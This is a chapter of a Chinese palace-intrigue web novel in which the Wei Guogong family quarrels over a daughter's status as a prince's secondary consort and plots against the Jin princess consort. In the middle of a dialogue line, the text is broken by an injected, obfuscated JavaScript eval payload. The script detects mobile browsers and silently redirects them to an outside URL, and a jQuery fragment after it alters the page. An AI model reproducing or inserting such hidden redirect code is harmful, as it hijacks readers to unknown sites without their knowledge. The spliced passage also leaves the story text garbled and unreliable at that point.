17. 算计

作品:《重生太后摆烂日常

    齐王都去普济寺清修了,卫国公府自然也别想跑。


    太后从宫里派了两个嬷嬷去卫国公府调、教曾凤娇规矩,等规矩学好了,再进晋王府。但这规矩要学到什么程度,怎么样才算好,得等太后表态。


    这便意味着曾凤娇进晋王府的时间可以无限延长。


    暮春的风裹着柳絮卷过卫国公府的飞檐,本该喜气洋洋的院落此刻却笼罩着一层阴霾。


    曾凤娇的闺房里满地碎瓷,几个丫鬟缩在屏风后面瑟瑟发抖。


    “糊涂!”


    唐氏找到伏在床上痛哭的女儿,又是心疼又是恼怒,““平日里教你那些进退分寸都喂到狗肚子里去了?那孟氏再不济也是上了玉牒的正妃,你当众给她难堪,打的可是皇家的脸面!”


    “娘亲明明说过……”曾凤娇抬起泪痕斑驳的小脸,指甲狠狠掐进锦被,“说那孟氏不过是个摆设,等我进了府……”


    “啪!”


    唐氏扬手拍在女儿背上,终究没舍得用力:“那是在府里关起门来的体己话!公主府满月宴上多少双眼睛盯着?太后没直接夺了你的侧妃之位已是开恩!”


    曾凤娇突然抓住母亲的手腕,染着凤仙花的指甲几乎要掐进肉里:“下个月...下个月本该是女儿和谭妙玲一起进府的!如今让那个商户女抢先……”她声音发颤,“她本就和王爷是表兄妹关系,再加上有淑妃娘娘撑腰……”


    唐氏忽然冷笑,腕间翡翠镯子撞出清脆声响。她慢条斯理地替女儿抿好散乱的鬓发:“我的娇娇儿,谭家算什么东西?不过是个靠女人裙带爬上来的暴发户。”指尖掠过女儿哭红的眼尾,“你且看着,等咱们国公府的姑娘进了门,她谭妙玲连给你端洗脚水的资格都没有。”


    “娘~”曾凤娇伏在唐氏膝上,嗓音仍带着几分委屈,但总算止了泪。


    唐氏指尖轻轻梳理着女儿散乱的发丝,语气温柔却不容置疑:“太后娘娘派来的嬷嬷虽严厉,但也是为你好。你且安心学规矩,等风头过了,娘再让你祖母去太后跟前说情。”她顿了顿,指尖微微用力,捏住女儿的下巴,让她抬起头来,“你祖母和太后是过命的交情,这点小事,她不会不帮。”


    曾凤娇低低“嗯”了一声,眼底却仍浮着一丝不甘。祖母若真疼她,为何不直接去求太后免了这责罚?难道她堂堂卫国公府的嫡女,真要受这种折辱?


    唐氏见女儿神色仍有些倔,眉头微蹙,加重了语气:“凤娇,听到了没有?”


    “知道了。”曾凤娇不情不愿地应着,手指无意识地绞紧了帕子。


    见女儿总算安分了些,唐氏这才起身,理了理衣袖,朝寿安堂走去。


    寿安堂内,檀香袅袅。卫国公世子夫人王氏正端坐在老夫人下首,手里捧着一盏茶,见唐氏进来,唇角勾起一抹似笑非笑的弧度。


    “哟,三弟妹来了。”王氏慢悠悠地开口,眼底却透着冷意,“凤娇那丫头可还闹?”


    唐氏脊背挺直,面上笑意不减,语气轻飘飘的:“小孩子家不懂事,让大嫂见笑了。”她捏着帕子掩唇,故作无奈地叹道,“这些年老夫人宠她,难免骄纵了些,这回宫里嬷嬷来了,正好让她收收性子。”


    王氏指尖一紧,袖中的帕子几乎被攥出褶皱,面上却仍端着笑:“三弟妹倒是想得开。”


    “哎哟,”唐氏笑着道:“大嫂别说我了,我听说茵丫头带着孩子回来了,可是他们小夫妻拌嘴了?这夫妻床头吵架床尾和,大嫂可要多劝劝茵儿那丫头啊……”


    王氏闻言蓦然变了脸色。茵娘是她的小女儿,嫁的是清河崔氏,那是最重规矩的人家,女儿这次回来,定是因为凤娇那丫头这次闹出来这事儿,她的茵儿受了影响,在婆家听了闲话,才回来的。


    三房这一家子麻烦精,因着老夫人的偏宠,这些年惹了多少祸事?如今倒要连累她女儿在婆家难做人。


    王氏强压下心头怒火,端起茶盏抿了一口,茶汤苦涩难咽,正如她此刻的心情。她抬眼看向上首的老夫人,只见老夫人正闭目养神,仿佛对堂下的暗流涌动浑然不觉。


    “三弟妹说得是,”王氏放下茶盏,瓷器相碰发出清脆的声响,“茵儿的事不劳你费心。倒是凤娇那丫头,如今宫里都派人来了,可要好好教导才是。若是再出什么差错,只怕连累的就不止我们茵儿一个了。”


    她意有所指地看向唐氏,眼中寒光一闪而逝。


    堂内檀香袅袅,老夫人手中紫檀念珠“咔嗒”作响。她缓缓掀开眼皮,浑浊的目光在二人之间扫过:“老大家的,我这儿有老三媳妇伺候就行。”


    王氏攥紧帕子,指甲几乎要戳破绸面。她强撑着向老夫人行礼告退,转身时狠狠剜了唐氏一眼。


    待脚步声远去,唐氏立即膝行至老夫人跟前。她手法娴熟地捏着老夫人的腿,声音放得又轻又软:“姨母,咱们这次真就这么认了吗?太后真为了那孟氏下咱们家脸面?”唐氏是是老太太的外甥女,平时当着众人她便跟着叫母亲或者老夫人,私底下便叫姨母以表示亲近。


    老夫人斜睨她一眼,重新闭上眼转动念珠。


    她半阖着眼,皱纹纵横的脸上看不出喜怒。良久,苍老的声音伴着檀香缓缓落下:“让凤娇那丫头好好跟着宫里的麽麽学学规矩,至于晋王妃孟氏,你们不准再去招惹,那不是你们现在能招惹的人。”


    唐氏手上力道一滞,心头猛地揪紧。那日宴会上孟氏的眼神蓦地浮现在眼前——明澈如秋水,却暗藏锋芒。若是不能招惹,那岂不是要让她的凤娇永远低人一头?


    唐氏正欲追问,忽听得珠帘“哗啦”一声脆响,被人粗鲁地掀开。


    “娘!您怎么还说不能招惹?”曾天磊风风火火闯了进来,腰间玉佩叮当作响。他是老夫人在天下承平后才得的幼子,阖府上下也就只有这位三爷敢不通传就直闯老太太的内室。


    老夫人一见幼子,方才威严的神色顿时化作慈爱。她忙不迭直起身子,皱纹里都漾着笑意:“磊儿这是打哪儿来?”目光触及儿子单薄的衣衫,顿时心疼道:“如今天气乍暖还寒,桂枝!快给三爷沏盏热茶来!”说着又瞪了唐氏一眼,“整日里东奔西走,连自己爷们的冷暖都不上心。”


    曾天磊浑不在意地接过茶盏,牛饮般灌了两口,随手将官窑瓷盏往案上一撂,溅出几滴茶汤在锦缎桌布上。他抹了把嘴,急声道:“娘!这些琐事有什么要紧?咱们娇娇现在受了这么大委屈,您就眼睁睁看着?”


    他越说越激动,拳头重重砸在掌心:“孟家


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15298799|166221||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    算什么门第?不过是个破落侯府!咱们娇娇可是正经国公府嫡出的千金!”突然压低声音,带着几分埋怨:“当初要是娘肯在太后跟前多说几句,如今坐在正妃位子上的就该是咱们娇娇……”


    曾天磊跪至老夫人膝头,抱着她的腿撒娇道:“娘,咱们真不能动那孟氏吗,咱们国公府可是超一品爵位,爹和您都是开国功臣,这大燕朝的江山……”


    “住口!”老夫人手中佛珠“啪”地砸在儿子额头上,苍老的面容陡然凌厉,“这些话也是你该说的吗?先帝待我们曾家已是恩重如山,咱们家这国公爵位,你娘我这超一品国公夫人,还有如今你大哥掌着兵部,你大侄儿也尚了公主,你还想怎样?”


    曾天磊被母亲突如其来的震怒惊得一颤,却仍梗着脖子嘟囔:“大侄儿尚了公主是大哥一家的事,咱们三房可没讨到什么好处,就娇娇得了个晋王侧妃。就这,我们还要低那孟氏一头,凭什么?”


    老夫人突然俯身,枯瘦的手指死死扣住儿子的手腕,声音压得极低:“蠢货!你真当那孟氏只是侯府千金?”她浑浊的眼中闪过一丝精光:“那晋王妃的出身,哪里只是一个小小侯府,除了太后的偏宠,你别忘了,她还有一个号称青山先生的外祖。”


    老夫人摩挲着手中温润的茶盏,目光看向虚空,仿佛回到那个风云变幻的年代。


    "你年纪小,不知道那李崖李青山的大名..."她声音沙哑,"那可是文能安邦,武能定国的奇才。当年先帝亲口说过,若得青山相助,可抵十万雄师。"


    茶盏在案几上轻轻一顿,发出清脆的声响。“这大燕的江山若分成三份……”老夫人眼中精光闪烁,“先帝得一份,舒太后掌一份,剩下那份……”她突然冷笑一声,“本该是他李青山的。”


    李崖的妻子乃是前朝末帝的女儿,他为这个身份敏感的妻子,放弃了建国后的所有分润。只带着妻子和财宝,归隐了乡间。


    “……那李崖虽然明面上是放弃了所有,但暗地里谁知道呢,”老夫人为儿子讲这些往年秘辛说得口干舌燥,喝了口茶润了润嗓,冷笑道:“不然先帝为何忌惮他,却完全不敢有任何动作,每年还要送去无数赏赐。”她浑浊的眼中闪过一丝忌惮:“那孟氏身上流着前朝皇室的血脉,你们现在去动她……”


    “那难道,咱们就这么认了?”曾天磊急得在屋子里走来走去,靴底踏得青砖咚咚作响,“晋王以后是有极大可能坐那个位置的,我们可是一早就打算站边他了,娇娇绝不能被那孟氏压着……”


    “等!”老夫人将茶盏搁回案几上,发出一声清脆的声响,她眼底精光乍现,“还不是时候,你们现在只能等。”枯瘦的手指轻轻敲击着案几,“我和太后都是半截入土的人了,那李青山还能活几年?只要太后和李青山两人,其中一个不在了,那孟氏的位置,自然就能动了。”


    老夫人看着唐氏道:“趁着这次宫里派来的嬷嬷,让凤娇好好学学规矩,”她意味深长的顿了顿,“她以后若是想有所作为,就如今那种性子,是不行的。”


    天色渐暗,老夫人疲惫的摆摆手,“去吧,你们夫妻也要收一收这急躁的性子。”


    她望着夫妻俩退出的背影,喃喃自语:“这盘棋...还长着呢。”